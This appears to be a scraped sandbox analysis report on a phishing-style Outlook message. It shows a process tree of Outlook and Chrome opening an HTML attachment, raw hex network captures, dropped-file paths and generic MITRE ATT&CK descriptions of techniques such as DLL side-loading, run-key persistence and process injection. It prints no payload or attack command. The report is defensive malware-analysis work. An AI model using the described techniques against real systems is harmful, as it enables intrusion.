2024-10-04 07:56:51 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-04 07:56:51 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Target ID:	0
Start time:	03:56:03
Start date:	04/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\Your Document-7617432882-8AhEHNmrLR Ready.msg"
Imagebase:	0xb10000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:56:10
Start date:	04/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "D763B21E-F905-4389-8DDF-48B451C19AF8" "A05E4E38-F0B6-4C24-9C2B-298096491BCF" "3976" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Imagebase:	0x7ff663af0000
File size:	710'048 bytes
MD5 hash:	EC652BEDD90E089D9406AFED89A8A8BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:56:26
Start date:	04/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	03:56:27
Start date:	04/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1764,i,6026439444708380704,7253972043974281439,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Your Document-7617432882-8AhEHNmrLR Ready.msg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd (002).html

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd (002).html:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{D4CAC70D-CE29-4491-8290-18AE3B736896}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728028569099865600_50C28BED-DEBA-4E65-9242-951D7A758EEA.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728028569100526500_50C28BED-DEBA-4E65-9242-951D7A758EEA.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241004T0356030769-3976.etl

C:\Users\user\AppData\Local\Temp\~DF23B6B0AD3E99FD9E.TMP

C:\Users\user\AppData\Local\Temp\~DFC67FB01020D79663.TMP

C:\Users\user\AppData\Local\Temp\~DFE8BC9BE0037AF83C.TMP

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Windows Analysis Report
Your Document-7617432882-8AhEHNmrLR Ready.msg